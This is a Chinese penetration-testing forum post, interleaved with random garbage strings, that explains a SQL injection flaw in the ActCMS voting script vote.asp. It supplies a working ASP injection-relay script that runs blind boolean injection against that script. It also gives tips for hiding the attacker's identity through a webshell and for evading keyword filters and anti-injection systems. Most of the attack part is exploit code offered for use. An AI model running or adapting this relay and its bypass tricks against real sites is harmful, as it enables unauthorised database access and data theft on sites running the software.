中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他
) D! b$ j9 w9 w' ^5 Q
看到ninty大牛的blog的一篇文章
: C2 ]) r: B' Z链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
$ R$ c; {3 y5 j关于actcms漏洞的利用  by 3x qq:3818625892 H8 a5 N* d% k/ M6 w) P4 Y$ o
转载请注明以上# A6 c4 F0 S4 j
漏洞文件:
5 q. g4 }, q: C; ]/plus/vote/vote.asp
) G. j8 m$ @2 [' \; V/ o代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then      s" |( {0 |! I- r+ @: v, E

9 ]3 L# z4 v6 t2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   $ E7 Z9 C  t/ f0 x5 ^* q

1 l4 D, j" I. ?1 n( N! Z* D3    response.end   
" D, v+ d3 I: m6 K  x
$ d' Y% v, O& M0 |# H, a4    end if   
1 k& `& C  v6 @, X' T7 @! c
8 e2 g/ L5 _" L+ I/ q1 z' n( O5    for i=1 to request("voted").count    ) A' ]. j  j& q9 d7 D
* \) y, o) g, y
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
% C5 P9 I3 Y, }1 M
9 Z+ J. t- K0 ]& ^- B9 v/ u7    next   
6 `2 B5 T$ i. X2 {' p6 n6 ?- _  Z7 m# z: V4 i$ G% S% J
8....    ) V7 s/ m- M) K8 I- Q( h

* a' v0 W" E' T. W" }8 z9 }9response.Redirect "index.asp?id="&id&""   
( ?0 Q8 K, B, m* [投票结束回跳转回index.asp这个投票结果页面
; t6 a2 X! l' H4 M/ B* n如果投票成功票数加11 s  t  A( c- q0 L( q1 U
            失败票数不变
  S1 q& k% Y, E  p9 Q; b如图:
2 R( s2 {* \# r. p) Whttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
& z0 O' K0 t' f! P- u) K. j8 h' H  r" n* F4 k9 C" T6 d/ w  A
2009-12-27 13:20
7 x8 d( |5 s: q+ H: w8 X' q' B% d, o, L9 w# C: y' |7 u- C
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了1 {/ ?; R4 w) ~) t  C4 T- R" }

2 ~# Y7 P% Z- y本帖隐藏的内容需要回复才可以浏览$ C% }: j+ u6 r; R# @) r
我们用注入中转来实现这个注入具体代码如下:1 \: |/ ?; p6 y' b
先用寂寞的刺猬大牛的注入中转生成jmget.asp0 _. N& X  i$ x9 V$ |
注入地址:http://localhost/actcms/plus/vote/vote.asp
" ]3 e( O3 h8 b, V- n注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项# h) h, c# H; W8 X" q& H
; R2 _0 ^3 W+ G
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%   d+ _! P* r8 b- Y6 A: w/ {. U
2 d2 y: W( a( R' Y/ q' y: L
02JmdcwName=request("jmdcw")
- ^5 z. G& L2 j- w) J, x) V% j, G) J
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] / w& m0 w: Y* ?; N

% V7 f. }2 o* R2 @04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 k& ?" t/ z& f; q: H& g" y/ t6 z
" j' `% m* x; e; g. z05JmStr=URLEncoding(JmStr)
, b- q! g0 ?3 ~
9 k. h1 S4 i$ j* R' g. c06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ |( z7 m3 K! ]$ h3 |' ^. m
  W+ A$ U5 {$ x/ `$ v: h07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
1 s( A/ }. ^  P- L
, z# J8 m7 F/ x* U! i( Q08testurl=testurl & "?" & JmStr 5 r8 O1 Y- T5 k: Y5 f: O
0 Y9 K2 i8 i! m5 i7 l6 r8 Y$ x* J
09JMUrl=JMUrl & "?" & JmStr ; q$ {7 \4 H- J/ N0 N$ g4 g$ |
% [# ]* ]+ o7 p' K- N
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". E' G; s1 x+ C+ j) y; Y* O
8 O! f; l; K6 t- B/ e$ C3 x  y0 Q
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 a5 r' M) t* X# s7 q) z/ Z. V& T& d  _' M0 U8 t' `5 ^! |
12JmCok=replace(JmCok,chr(32),"%20")  
. l$ S/ w- ~& @8 T: o  U7 n! M, b
+ D* o: c2 Z) r0 d6 s  _0 A5 E, X) |& o2 r13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 8 O, S' `$ T% }9 Z2 R; c

/ a& _1 f2 r9 e8 B' T" h: A1 K14  1 ?; q1 Y7 s: Z* }6 T# ~2 C  L

9 H$ H! ~  w" v4 A" N7 I5 \4 x) e15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票   f! H3 y+ g: y; m- @
, v) C! j5 U8 U- L
16  
7 ~" {" f& }& A2 `6 h% d5 R# D, d6 T' l1 I
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' c$ s) y2 u$ M' F4 c: r
4 c1 J( X- B/ n8 L. n  s18response.write test1&""&test2&""6 c9 C, ~5 Z2 L8 `6 s$ }, n; n; J

; M' l  V/ l. B3 O3 g3 T* T1 z19  4 O0 _, g$ `8 V. _
+ v8 m/ v" K* Z+ K
20if test1=test2 then '如前后记录相等,表示失败
# }9 t1 F  P4 X6 k- g$ E
! e1 _0 |! k; o: F1 y# |21  response.write "failed"
4 C) e- c" U1 X5 l: ^5 r- |, v  L2 l
22else # p$ G6 j; c1 b0 F
& C4 }  c6 e7 q2 _. o8 M2 i' f( \
23  response.write "succeed"
! t+ b/ \- t9 k% ^- N& m& X+ c- n; C
6 N" G, o, O) w8 {5 Y24end if  # d3 E3 t7 ^% W( r+ w# M- y2 r

! |, b  A1 O7 T$ B25  8 f8 t, B2 a: Y
  q5 p/ w0 f9 X, B: i5 N+ _) m" O; X
26response.write "by 3x"
9 J' [0 U4 s& ?- C  W" z# }; `/ B8 L% {) S- }
27  " T1 N0 v; ^- s2 `& U' t3 A
5 @$ E" z) l* ?
28  4 H' @) C/ ]& B# t

! L; y9 v5 z- G8 d29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* U% t# m6 B9 K& k& @! Z* M5 z0 D8 W" E" s6 m9 t
30Dim Http 4 f( D4 }: ~" F8 B* F/ [, \" t/ }
7 P& h" ~1 y8 x; _. D, t8 o
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
; T- h% \2 Y0 h3 p3 t' s0 x! P  U7 E" }
32With Http
& O3 n/ H! v4 C: n9 s8 n- r4 ?3 n. t$ Z
33  
/ P6 k+ A& w3 ^; C& B; m# Y
7 [" \# m$ m* E/ g; {" _( [( z34.Open "GET",PostUrl,False
3 s( S1 Y8 U# R4 G( |7 b: q7 u% Q
) a; q1 e) r& l8 g/ L35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"! e& I" f; G8 \) P& _* _

$ z/ C, a; ?4 ?# ~* d2 l36.SetRequestHeader "Referer",PostRef 6 c. @7 b+ D5 B

& C$ m: X- `3 O% J) s/ e; J* i" w( G37.SetRequestHeader "Cookie",PostCok
+ W3 V( G9 T! J; t7 k: `
( K" `9 b0 j! {9 r* P# y38.Send ()
+ e' T4 o8 w+ x6 {& D% S/ D& K! o' @# Z- J: m& T+ f) J
39PostData = .ResponseBody
# `, L% @" u) `6 \2 n# G8 @  n. M3 g( X3 p
40End With
6 l5 X4 ?% O3 ^1 o2 b1 m  q7 v$ {2 b" e' F
41Set Http = Nothing3 R$ z. x+ F! p, D

# I  p: M0 z: |9 X+ }- f1 }9 S42PostData =bytes2BSTR(PostData)
! L# ^* K/ s$ l5 c/ h5 Z5 f" h- [' ^9 L6 ~. h4 @; N
43End Function0 @2 f2 d+ E: U2 b

+ b5 U' d- V+ i# Z3 g44  2 t7 G. S9 T& u/ k/ t" b- Y

" t8 z4 F7 j. j; ~9 X45  1 m7 r6 `+ C8 {, X( a, ~

: M) }8 f& H4 D7 d: q/ f46Function bytes2BSTR(vIn)
! _6 h# X! }7 }9 k4 [/ V/ b# Q; C: k- ~5 `9 T* }0 V" W* D! N* }8 B' M
47Dim strReturn
; S2 p8 ~' \- D' _$ P1 \7 O
  U3 P# J8 d, ?. m/ ~* g3 O! ]48Dim I, ThisCharCode, NextCharCode
; i- M6 \, B3 V6 h% A
- V2 x7 l+ t) M1 w4 i/ c- k5 X49strReturn = ""9 }' {, ?  O0 x0 C0 K
5 j7 g! I& ?8 b( l3 y4 S% F& @
50For I = 1 To LenB(vIn) 0 H8 @3 e8 h  }" ^2 p

! A/ D4 p# ~8 X( v51ThisCharCode = AscB(MidB(vIn, I, 1))
+ x0 j+ V" v2 `$ {
" e& Z4 a" k: g! u52If ThisCharCode < &H80 Then! [! W* S8 v* O. O! C7 I
6 Q8 N, i7 ?8 f# S# d9 c; ?8 ~
53strReturn = strReturn & Chr(ThisCharCode)
, Y: K4 C- `+ j! C
9 A5 d& ]0 f& T' p54Else
1 A. P5 [" }' q1 J# h4 u- @+ Y! m6 J% G6 f1 y" p1 a
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) . k* G0 h. O- k7 U% d  d6 {

" M  J7 `* ?/ I) K6 L0 D: G56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) g) o1 Z; i; K# `5 j6 X  D6 U# u  w3 J& {, m
57I = I + 1
! L- V$ ~5 r# O7 D. P5 b2 L) `
+ o0 }  e3 k! T3 x" j3 h+ b) a58End If) k3 c8 v1 N. E0 K& \. r

3 \% Z& G2 Z" ~- w9 L59Next! q0 y1 Q4 W: u! c
+ F$ h8 p6 |- K8 w1 A- O+ i, u
60bytes2BSTR = strReturn
1 P, F% z* v) F# x. s' R& e- U
0 E+ {  q6 \: ?* l: T61End Function8 S& [% F& A% A9 d3 c
5 {4 Y; L; i. `' t
62  4 W0 D' g( Z% |; m6 b

7 i- S, j. C8 ^# @* v1 F; M63Function URLEncoding(vstrin)  
- ^4 B7 {* d/ S% V9 |6 R2 l- n+ Y. Y: Q9 N" R3 X  H# f
64strReturn=""  |. c8 A9 @9 m6 j
! N: K" r4 o- h4 ~7 S! ~& \
65Dim i
9 d/ H+ n+ Q# |8 Y, L: J- n1 J, m# U1 d
66For i=1 To Len(vstrin)
* y. g& i/ f: F! E1 F# T& _$ L- y. B7 [
67ThisChr=Mid(vstrin,i,1) . m+ M7 T3 N9 A8 E9 z4 B

2 b, v* V4 s8 y5 p$ D68if Abs(Asc(ThisChr))< &HFF Then
7 u& A' o. H- o% f6 S3 W: s& E3 r2 r5 q( Y" P. P# p- N
69strReturn=strReturn & ThisChr 4 h! g8 n& L/ l, B; [; X" F4 |. I

( z6 |8 Q% H/ Y; S- k70Else
0 l. {, X: d; d# L
7 S% C% W# T7 p' a71InnerCode=Asc(ThisChr) ' A- N8 c4 G2 L0 I# J# O; C

7 H5 Q, d! E. E3 `72If InnerCode<0 Then1 \8 S  ^$ N5 E6 f( \5 c

* ?& m( T: b! y( }* D8 }- L73InnerCode=InnerCode + &H10000 9 X6 x/ ]. T5 N4 f1 c

4 N& j% ^, @: f0 F2 }74End If
. P6 l) a! f2 u4 {- l, I! h
) T: b2 [2 t- y2 X. z! F# L: F# u75Hight1=(InnerCode And &HFF00) \&HFF
1 F/ l/ p6 B4 k! |8 j9 G2 g; V6 S. r' I4 v& Q% A  n% v
76Low1=InnerCode And &HFF
% k% g, P) Q7 n) e. g) k( y5 K3 `/ d, R& t3 R
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
0 N  H2 `  C! ]# H  R5 f3 l& O& v& @* o% W" ?3 ^
78End if
, h3 M5 T, z( U7 T
) O/ f# G7 F1 t# c79Next
2 e: I4 \/ Z. m( S0 P2 j" G, Y$ R+ k% d  x. r+ l( F
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20   [* O% {4 R+ a/ ^1 J, k
* Y3 u# g2 f' d
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
& x/ M' ?! u6 ?( Q2 x9 z5 u. I. L5 _" v$ B4 w
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 $ V0 Z' @: H3 c5 T5 C; k

' F) h& }* P* q, L$ @6 z83URLEncoding=strReturn
7 X7 X# O) W% W, @9 w  s$ R" k
! w" ~, f. q' Z+ V6 A: J, E+ S84End Function9 R7 L0 f. ^$ J

7 X8 }* \. N3 a( w. _( t85  ! H9 C$ k, a* K1 R' [
% p! E2 U4 M0 D5 E3 a1 w
86function getSt(body) ( a7 ?6 S5 t; M+ K, i8 S; e: v
7 n' C! Y  }. E. Y" u
87  startpot=instr(body,"投票人数:")+len("投票人数:") " t7 ?8 v& B$ H0 S
6 ?$ j5 o' q( u8 r3 s7 Y
88  endpot=instr(startpot,body," ") ; p; N+ J3 |9 {' K4 ]

5 p- u/ H% F: ]! c- k4 ?' F89  getSt=mid(body,startpot,endpot-startpot)
( @8 v5 \0 m( y* M% ]# {) i4 T# {: ?6 n* a3 g/ r
90end function
: j, d8 r- L' p$ M
& ~7 X/ i: H2 T91%>
# t/ b1 I4 w$ ^/ k2 ]. p# g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
+ U) B1 h- c$ u' ^9 X1 x测试下效果:$ ^# Z, v, }1 f+ ?# v
投票成功:$ F+ R7 Z# _3 U+ y
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
5 Z$ N5 c( \- Y5 H/ T% k% H8 r6 R$ q: P6 B- f. b! }; |
2009-12-27 13:29( l5 E" Z5 g3 p" ^! u
投票失败
* c( V, a4 X* j5 thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 ?2 r% i! S# P2 T$ D) u# O- Q% _! ?  s
2009-12-27 13:29
! h" d; L& Q1 G' e0 N4 k-------------------------------------------------------------------------------
. p* N1 C, K% c- Z- E再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
) ^" f6 `, r( r- S1 |2 v  W很抱歉。。。只能用单线程工具去注入。。。。。
3 `2 {* J9 R6 Z: }, @* d  E, W+ e所以失败。。。不好意思。。。
/ Z: v2 \6 @) g5 w& X-------------------------------------------------------------------------------* C( q) \. p6 S( U1 T# t2 D$ M) \

" q: ]) j3 y7 H* L: X2 ?' d注入中转的一些其他应用& i* D4 ]% x  \/ m; ]5 r% Q
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
! t6 I% r3 V0 r' _6 x. E* G1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id2 T2 x7 P" p. T. h, O1 @# f0 T
2.post注入转成get型的注入,方便我们使用工具来跑* h% r) y  n! H' F
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")6 L7 x  `: f/ l) v( i
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
% }6 Q6 q( C5 Q3 @4 R: Z1 j& S2 C4 ~% B/ A, G





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2